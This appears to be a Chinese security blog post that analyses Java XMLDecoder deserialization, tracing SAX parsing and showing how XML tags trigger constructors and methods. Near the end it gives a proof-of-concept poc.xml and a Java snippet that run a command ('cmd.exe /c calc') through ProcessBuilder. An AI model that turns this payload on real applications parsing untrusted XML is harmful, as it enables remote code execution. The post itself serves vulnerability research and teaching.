XmlDecoder反序列化分析

警告
本文最后更新于 2022-08-14,文中内容可能已过时。

通过跟踪xmlDecoder发现核心是用SAX来解析xml的,所以会在开始分析xmlDecoder前补充一下sax解析xml的基础知识

SAXParserFactory Sax解析xml的工厂类,在程序中调用工厂类获取真正实现类SAXParserImpl

DefaultHandler 解析xml时用到的处理类,可继承该类实现自定义处理解析的xml内容

SaxXml.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
import org.xml.sax.SAXException;
import org.xml.sax.helpers.DefaultHandler;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class SaxXml {
    public static void main(String[] args) throws ParserConfigurationException, SAXException, IOException {
        File file = new File("D:\\chromedownload\\yaml-payload-for-ruoyi-main\\XmlDecoderSer\\book.xml");
        FileInputStream fileInputStream = new FileInputStream(file);
        SAXParserFactory spf = SAXParserFactory.newInstance();
        SAXParser saxParser = spf.newSAXParser();
        MyHandler myHandler = new MyHandler();//自定义的解析方法
        DefaultHandler defaultHandler = new DefaultHandler();//默认的解析方法
        saxParser.parse(fileInputStream,defaultHandler);
    }
}

下面这段代码就是通过工厂类获取SAXParserImpl

1
2
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser saxParser = spf.newSAXParser();

继续向下看可以发现,我实例了两个Handler解析对象,一个是自定义的解析类(MyHandler),另一个是默认的解析类(DefaultHandler)

1
2
MyHandler myHandler = new MyHandler();//自定义的解析方法
DefaultHandler defaultHandler = new DefaultHandler();//默认的解析方法

其中MyHandler类内容如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
import org.xml.sax.*;
import org.xml.sax.helpers.DefaultHandler;

import java.io.IOException;

class MyHandler extends DefaultHandler {

    public MyHandler() {
        super();
    }

    @Override
    public InputSource resolveEntity(String publicId, String systemId) throws IOException, SAXException {
        return super.resolveEntity(publicId, systemId);
    }

    @Override
    public void notationDecl(String name, String publicId, String systemId) throws SAXException {
        super.notationDecl(name, publicId, systemId);
    }

    @Override
    public void unparsedEntityDecl(String name, String publicId, String systemId, String notationName) throws SAXException {
        super.unparsedEntityDecl(name, publicId, systemId, notationName);
    }

    @Override
    public void setDocumentLocator(Locator locator) {
        super.setDocumentLocator(locator);
    }

    @Override
    public void startDocument() throws SAXException {
        super.startDocument();
    }

    @Override
    public void endDocument() throws SAXException {
        super.endDocument();
    }

    @Override
    public void startPrefixMapping(String prefix, String uri) throws SAXException {
        super.startPrefixMapping(prefix, uri);
    }

    @Override
    public void endPrefixMapping(String prefix) throws SAXException {
        super.endPrefixMapping(prefix);
    }

    @Override
    public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
        super.startElement(uri, localName, qName, attributes);
    }

    @Override
    public void endElement(String uri, String localName, String qName) throws SAXException {
        super.endElement(uri, localName, qName);
    }

    @Override
    public void characters(char[] ch, int start, int length) throws SAXException {
        super.characters(ch, start, length);
    }

    @Override
    public void ignorableWhitespace(char[] ch, int start, int length) throws SAXException {
        super.ignorableWhitespace(ch, start, length);
    }

    @Override
    public void processingInstruction(String target, String data) throws SAXException {
        super.processingInstruction(target, data);
    }

    @Override
    public void skippedEntity(String name) throws SAXException {
        super.skippedEntity(name);
    }

    @Override
    public void warning(SAXParseException e) throws SAXException {
        super.warning(e);
    }

    @Override
    public void error(SAXParseException e) throws SAXException {
        super.error(e);
    }

    @Override
    public void fatalError(SAXParseException e) throws SAXException {
        super.fatalError(e);
    }
}

可以发现,内容都是基于继承DefaultHandler可自动生成的父类函数

接下来继续分析SAXParserImpl是如何调用Handler来解析xml的,或者说分析Handler在解析过程中起到了什么作用

首先我们看官方文档如何解释这些api

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476389-image-20220812110913-ikqvnnr.png

从图中可以简单看出比较重要的解析api为如下五个

startDocument

endDocument

startElement

endElement

characters

其中startElement endElement 接口可获取xml节点属性

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812111536-gzv8gar.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812111545-jwxw587.png

可以看到通过(start/end)Element可以获取到xml标签相关属性,并通过代码输出证明

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812120233-665ap99.png

通过characters接口可获取xml节点内容

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812133836-555ubz6.png

因为在解析xml开始前会先调用 startDocument 说明开始状态,所以在这下断点查看在开始解析xml前的构造链

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812134059-9u1gc1f.png

主程序一开始时将自定义解析类传入

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812134517-m1eu998.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812134551-fhthav9.png

最后由com/sun/org/apache/xerces/internal/parsers/AbstractSAXParser.java 调用

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812134637-qcnvss9.png

至此进入我们下断点的自定义Handler的startDocument

查看startElement方法也是如此,下断点后跟踪到 com/sun/org/apache/xerces/internal/parsers/XML11Configuration.java 发现存在调用

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812135027-ymginun.png

解析过程比开头复杂得多,会先进入com/sun/org/apache/xerces/internal/impl/XMLDocumentFragmentScannerImpl.javascanDocument 方法判断当前标签的属性和需要传入的解析方法

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476390-image-20220812135514-nab2t70.png

Main.java

1
2
3
4
        XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("Person.xml")));
        Object result = d.readObject();
        d.close();
        System.out.println(result);

Person.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public class Person {
    private String name;
    private String age;

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public String getAge() {
        return age;
    }

    public void setAge(String age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age='" + age + '\'' +
                '}';
    }
}

Person.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<?xml version="1.0" encoding="utf-8" ?>
<java class="java.beans.XMLDecoder">
<object class="Person">
    <void property="name">
        <string>this name</string>
    </void>
    <void property="age">
        <string>this age</string>
    </void>
</object>
</java>

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220812233048-iwi8ke9.png

对Person实体类分别添加带/无参构造函数

1
2
3
4
5
6
    public Person(String test){
        System.out.println("get param: "+test);
    }
    public Person(){
        System.out.println("This Person() function");
    }

当Person.xml文件内容如下时

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8" ?>
<java class="java.beans.XMLDecoder">
<object class="Person">

</object>
</java>

会触发无参构造函数

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220812234030-zfzpce7.png

当Person.xml添加string节点,给有参构造函数赋值

1
2
3
4
5
6
<?xml version="1.0" encoding="utf-8" ?>
<java class="java.beans.XMLDecoder">
<object class="Person">
    <string>this pararm</string>
</object>
</java>

成功触发构造函数并输出参数内容

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220812234145-8n9lm25.png

能传入的参数有很多,具体能传入的节点都在DocumentHandler中声明

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220812234319-scar7on.png

在Person类中新增了一个testMethod方法来测试使用xmlDecoder触发

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220813000440-3ukpnbz.png

Person.xml内容如下

1
2
3
4
5
6
<java class="java.beans.XMLDecoder">
<object class="Person">
    <string>this pararm</string>
    <void method="testMethod"/>
</object>
</java>

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220813000537-2qgebqq.png

也可以通过上面的方式对目标方法进行传参

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220813000656-ehzwezb.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220813000645-gj9msvk.png

到这里就简单说明了该组件的核心组成(Sax及相关Handler)和正常使用,至于XmlDecoder如何通过解析xml来生成目标对象和如何执行命令在后面会进行分析

poc.xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<java version="1.4.0" class="java.beans.XMLDecoder">
    <void class="java.lang.ProcessBuilder">
        <array class="java.lang.String" length="3">
            <void index="0">
                <string>cmd.exe</string>
            </void>
            <void index="1">
                <string>-c</string>
            </void>
            <void index="2">
                <string>/c calc</string>
            </void>
        </array>
        <void method="start"/></void>
</java>

Main.java

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import java.beans.XMLDecoder;
import java.io.BufferedInputStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class Main {
    public static void main(String[] args) throws FileNotFoundException {
        XMLDecoder d = new XMLDecoder(new BufferedInputStream(new FileInputStream("poc.xml")));
        Object result = d.readObject();
        d.close();
    }

}

因为前面简单跟踪过 XMLDecoder 使用的sax来解析xml的,所以现在要找一下解析这个恶意xml触发命令执行的handler

com/sun/org/apache/xerces/internal/jaxp/SAXParserImpl.java parse方法下断点,查看传入的自定义handler类

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476391-image-20220812140622-i671czr.png

跟进DocumentHandler发现构造方法中存在定义了多个解析标签的自定义方法

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220812140944-ng3ztgj.png

因前面分析过Sax解析xml的时候会通过重写startElement和endElement方法来自定义处理xml文件的一些标签及相关属性

结合Documenthandler中的startElement endElement characters方法可以简单看出程序对xml顺序解析的过程中,每个节点都会保存上级节点的所有属性,通过characters方法获取每个当前节点内容后,进入endElement方法会将获取到的节点内容及参数赋值给上级节点

拿解析Person.xml为例,我们在Person类的构造方法及DocumentElement中的三个重要方法下断点

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813005622-4nmw1s2.png

当节点存在class属性时,会通过object相关的Element解析类将目标class赋给当前节点的type属性,图中为NewElementHandler因为是ObjectElementHandler父类,自动向上调用获取的

当然,这里到底进入哪个处理类都会根据当前传入的标签和属性来决定,调试时可自己跟跟看

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813011626-ejpxwsz.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813005813-2l9aghn.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813010100-e8nug0b.png

会判断当前节点获取的内容是否为上级节点提供参数,为true的话会将当前节点获取到的信息赋值给上一节点

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813010129-a79b7j4.png

当返回根节点(存在class属性)时,会进入ObjectElementHandler调用Expression反射获取目标对象

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813011950-w1zw3ii.png

并通过getvalue触发。

到这里基本分析完成整个解析xml的过程,但离执行命令还差一点,因为要利用ProcessBuilder执行命令还需要调用其中的start方法触发,前面的代码中也提到过当标签内存在method属性时会调用目标类的目标方法

其实在刚才分析调试的过程中,也有看到解析method的相关代码

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813012507-c4orm8y.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1660476392-image-20220813012612-zu9nyzh.png

所以到这里分析也基本结束,使用Expression来执行命令的直观代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import java.beans.Expression;

public class ExpTest {

    public static void main(String[] args) throws Exception {
        String[] strings = new String[]{"cmd.exe","/c","calc"};
        Object object = new ProcessBuilder(strings);
        String method = "start";
        Object[] objects = new Object[]{};
        Expression var5 = new Expression(object, method, objects);
        var5.getValue();

    }
}